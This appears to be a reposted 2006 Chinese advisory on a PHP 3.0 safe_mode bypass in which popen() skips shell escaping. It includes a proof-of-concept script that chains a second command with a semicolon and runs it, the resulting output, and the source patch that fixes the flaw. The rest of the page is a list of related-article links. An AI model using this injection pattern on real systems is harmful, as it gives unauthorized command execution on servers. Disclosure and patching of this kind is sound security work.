PHP3 safe_mode 失效漏洞


Posted in PHP onOctober 09, 2006

受影响的系统:  PHP 3.00  
--------------------------------------------------------------------------------
描述:

    PHP Version 3.0是一个HTML嵌入式脚本语言。其大多数语法移植于C、Java和Perl并结合了
PHP的特色。这个语言可以让web开发者快速创建动态网页。

    因其执行在web服务器上并允许用户执行代码,PHP内置了称为'safe_mode'的安全特性,
用于控制在允许PHP操作的webroot环境中执行命令。

    其实现机制是通过强制执行shell命令的系统调用将shell命令传送到EscapeShellCmd()
函数,此函数用于确认在webroot目录外部不能执行命令。

    在某些版本的PHP中,使用popen()命令时EscapeShellCmd()却失效了,造成恶意用户可
以利用'popen'系统调用进行非法操作。

--------------------------------------------------------------------------------
测试程序:

警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp<br>n";
while($line = fgets($fp, 1024)):
printf("%s<br>n", $line);
endwhile;
pclose($fp);
phpinfo();
?>

输出结果如下:

1
total 53  
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls  
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)  
and from the configuration values of phpinfo():
safe_mode 0 1  

--------------------------------------------------------------------------------
建议:  
Index: functions/file.c
===================================================================
RCS file: /repository/php3/functions/file.c,v
retrieving revision 1.229
retrieving revision 1.230
diff -u -r1.229 -r1.230
--- functions/file.c 2000/01/01 04:31:15 1.229
+++ functions/file.c 2000/01/03 21:31:31 1.230
@@ -26,7 +26,7 @@
| Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca> |
+----------------------------------------------------------------------+
*/
-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
+/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */
#include "php.h"
#include <stdio.h>
@@ -51,6 +51,7 @@
#include "safe_mode.h"
#include "php3_list.h"
#include "php3_string.h"
+#include "exec.h"
#include "file.h"
#if HAVE_PWD_H
#if MSVC5

@@ -575,7 +576,7 @@
pval *arg1, *arg2;
FILE *fp;
int id;
- char *p;
+ char *p, *tmp = NULL;
char *b, buf[1024];
TLS_VARS;

@@ -600,7 +601,11 @@
} else {
snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);
}

- fp = popen(buf,p);

+
+ tmp = _php3_escapeshellcmd(buf);
+ fp = popen(tmp,p);
+ efree(tmp); /* temporary copy, no longer necessary */
+
if (!fp) {
php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno));
RETURN_FALSE;  

PHP 相关文章推荐
xml在joomla表单中的应用详解分享
Jul 19 PHP
PHP下打开phpMyAdmin出现403错误的问题解决方法
May 23 PHP
PHP实现图片旋转效果实例代码
Oct 01 PHP
php中magic_quotes_gpc对unserialize的影响分析
Dec 16 PHP
PHP中的命名空间相关概念浅析
Jan 22 PHP
PHP读取txt文本文件并分页显示的方法
Mar 11 PHP
php输出指定时间以前时间格式的方法
Mar 21 PHP
PHP弹出对话框技巧详细解读
Sep 26 PHP
php如何获取文件的扩展名
Oct 28 PHP
php的闭包(Closure)匿名函数初探
Feb 14 PHP
Zend Framework校验器Zend_Validate用法详解
Dec 09 PHP
Ubuntu彻底删除PHP7.0的方法
Jul 27 PHP
vBulletin HACK----关于排版的两个HACK
Oct 09 #PHP
PHP+APACHE实现用户论证的方法
Oct 09 #PHP
从C/C++迁移到PHP——判断字符类型的函数
Oct 09 #PHP
PHP实现图片简单上传
Oct 09 #PHP
在线增减.htpasswd内的用户
Oct 09 #PHP
将OICQ数据转成MYSQL数据
Oct 09 #PHP
PHP中一个控制字符串输出的函数
Oct 09 #PHP
You might like
PHP中执行cmd命令的方法
2014/10/11 PHP
PHP 多任务秒级定时器的实现方法
2018/05/13 PHP
php 的多进程操作实践案例分析
2020/02/28 PHP
从阿里妈妈发现的几个不错的表单验证函数
2007/09/21 Javascript
判断多个元素(RADIO,CHECKBOX等)是否被选择的原理说明
2009/02/18 Javascript
JS 文件本身编码转换 图文教程
2009/10/12 Javascript
extjs 的权限问题 要求控制的对象是 菜单,按钮,URL
2010/03/09 Javascript
javascript showModalDialog,open取得父窗口的方法
2010/03/10 Javascript
jQuery焦点图插件SaySlide
2015/12/21 Javascript
基于BootStrap环境写jQuery tabs插件
2016/07/12 Javascript
jQuery Form插件使用详解_动力节点Java学院整理
2017/07/17 jQuery
JS实现提交表单前的数字及邮箱校检功能
2017/11/13 Javascript
Bootstrap 3多级下拉菜单实例
2017/11/23 Javascript
vue2.0 computed 计算list循环后累加值的实例
2018/03/07 Javascript
JS插件clipboard.js实现一键复制粘贴功能
2020/12/04 Javascript
PostgreSQL Node.js实现函数计算方法示例
2019/02/12 Javascript
微信小程序开发实现的IP地址查询功能示例
2019/03/28 Javascript
ES6 Set结构的应用实例分析
2019/06/26 Javascript
Javascript查看大图功能代码实现
2020/05/07 Javascript
Python Pandas找到缺失值的位置方法
2018/04/12 Python
浅谈Python中的bs4基础
2018/10/21 Python
python脚本实现mp4中的音频提取并保存在原目录
2020/02/27 Python
Python API len函数操作过程解析
2020/03/05 Python
关于Python 解决Python3.9 pandas.read_excel(‘xxx.xlsx‘)报错的问题
2020/11/28 Python
python常量折叠基础知识点讲解
2021/02/28 Python
HTML+CSS+JavaScript实现图片3D展览的示例代码
2020/10/12 HTML / CSS
美国最顶级的精品店之一:Hampden Clothing
2016/12/22 全球购物
全球最大最受欢迎的旅游社区:Tripadvisor
2017/11/03 全球购物
美工的岗位职责
2013/11/14 职场文书
运动会解说词100字
2014/01/31 职场文书
认识深刻的检讨书
2014/02/16 职场文书
2014年副班长工作总结
2014/12/10 职场文书
三方协议书
2015/01/27 职场文书
全国法制宣传日活动总结
2015/05/05 职场文书
如何写新闻稿
2015/07/18 职场文书
Android基础入门之dataBinding的简单使用教程
2022/06/21 Java/Android